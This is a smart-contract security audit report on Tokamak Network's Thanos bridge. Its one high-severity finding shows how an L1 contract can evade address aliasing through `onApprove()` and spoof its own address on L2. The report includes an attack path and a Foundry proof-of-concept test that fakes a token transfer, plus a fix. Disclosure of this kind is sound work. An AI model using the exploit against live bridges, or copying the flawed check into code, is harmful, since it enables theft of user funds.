SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Contest type:	Public
Prepared for:	Tokamak Network
Prepared by:	Sherlock
Lead Security Expert:	obront
Dates Audited:	September 17 - September 25, 2024
Prepared on:	October 24, 2024

Introduction

The Tokamak Network aims to provide a customizable L2 network and a simple way to deploy your own L2 as needed. Thanos is an L2 that uses the ERC20 token as its native token. We focus on identifying and fixing potential security vulnerabilities in the bridge (L2 native token) before the Thanos mainnet launch to ensure a secure deployment.

Scope

Repository: tokamak-network/tokamak-thanos

Branch: audit-from-sherlock

Audited Commit: c3a2bd6f768f0719a63fa1e0231eaae1d42f9e24

Final Commit: 90ed53713238e92dc4ab729ead352906ab94f645

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
0	1

Issues not fixed or acknowledged

Medium	High
0	0

Security experts who found valid issues

KingNFT
haxagon
obront
0xlrivo
0x416

Issue H-1: L1 contract can evade aliasing, spoofing un-owned L2 address

Source: https://github.com/sherlock-audit/2024-08-tokamak-network-judging/issues/39

Found by

0x416, 0xlrivo, KingNFT, haxagon, obront

Summary

A key property of the Optimism bridge is that all contract addresses are aliased. This is to avoid a contract on L1 to be able to send messages as the same address on L2, because often these contracts will have different owners. However, using the `onApprove()` function, this aliasing can be evaded, giving L1 contracts this power.

Root Cause

When `depositTransaction()` is called on the Optimism Portal, we use the following check to determine whether to alias the `from` address:

```
address from =
    ((_sender != tx.origin) && !_isOnApproveTrigger) ?
↪   AddressAliasHelper.applyL1ToL2Alias(_sender) : _sender;
```

As we can see, this check does not alias the address is `_isOnApproveTrigger = true`.

This flag is set whenever the deposit is triggered via a call to `onApprove()`. However, it is entirely possible for a contract to use this flow, and therefore avoid being aliased.

Internal Preconditions

None

External Preconditions

None

Attack Path

1. A contract on L1 is owned by a different user than the contract address on L2. This is typical, for example, with multisigs or safes that deployed using CREATE.
2. It wants to send a message on behalf of the L2 contract. For example, it may want to call `transfer()` on an ERC20 to steal their tokens.
3. It calls `approveAndCall()` on the Native Token on L1, including the message it wants to send on L2.
4. This message is passed along to the Optimism Portal's `onApprove()` function, which sets the `_isOnApproveTrigger` flag to true, and doesn't alias the address.
5. The result is that the L2 message comes `from` the unaliased L1 address, and arbitrary messages (including token transfers) can be performed on L2.

Impact

L1 contracts can send arbitrary messages from their own address on L2, allowing them to steal funds from the owners of the L2 contracts.

PoC

The following standalone test can be used to demonstrate this vulnerability:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { stdStorage, StdStorage, Test, console } from "forge-std/Test.sol";
import { OptimismPortal2 } from "../src/L1/OptimismPortal2.sol";
import { Constants } from "../src/libraries/Constants.sol";
import { L2NativeToken } from "../src/L1/L2NativeToken.sol";
import { ResourceMetering } from "../src/L1/ResourceMetering.sol";

contract MaliciousSafe {}

contract DummySystemConfig {
    address public nativeTokenAddress;

    constructor(address nativeToken) {
        nativeTokenAddress = nativeToken;
    }

    function resourceConfig() external view returns
↪   (ResourceMetering.ResourceConfig memory) {
        return Constants.DEFAULT_RESOURCE_CONFIG();
```

```
    }
}

contract POC is Test {
    using stdStorage for StdStorage;

    OptimismPortal2 portal;
    L2NativeToken token;

    event TransactionDeposited(address indexed from, address indexed to, uint256
↪   indexed version, bytes opaqueData);

    function setUp() public {
        token = new L2NativeToken();
        DummySystemConfig config = new DummySystemConfig(address(token));

        portal = new OptimismPortal2(0, 0);
        stdstore.target(address(portal)).sig("systemConfig()").checked_write(add
↪   ress(config));

    }

    function testZach_noAlias() public {
        // we are sending from a safe, which isn't owned on L2
        address from = address(new MaliciousSafe());
        vm.startPrank(from);
        token.faucet(1);

        // let's make some transaction data
        // for example, transfer our addresses USDC on L2 to another address
        address to = makeAddr("L2USDC");
        uint value = 0;
        uint32 gasLimit = 1_000_000;
        bytes memory message =
↪   abi.encodeWithSignature("transfer(address,uint256)", address(1), 100e18);
        bytes memory onApproveData = abi.encodePacked(to, value, gasLimit,
↪   message);

        // confirm that the deposit transaction is:
        // from: from (non aliased)
        // to: L2USDC
        vm.expectEmit(true, true, false, false);
        emit TransactionDeposited(from, to, 0, bytes(""));

        // now we use approve and call to send the deposit transaction
        token.approveAndCall(address(portal), 1, onApproveData);
    }
```

```
}
```

Mitigation

The `_sender != tx.origin` check is correct, even in the case that the call came via `onApprove()`, so the additional logic can be removed.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/tokamak-network/tokamak-thanos/pull/275

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.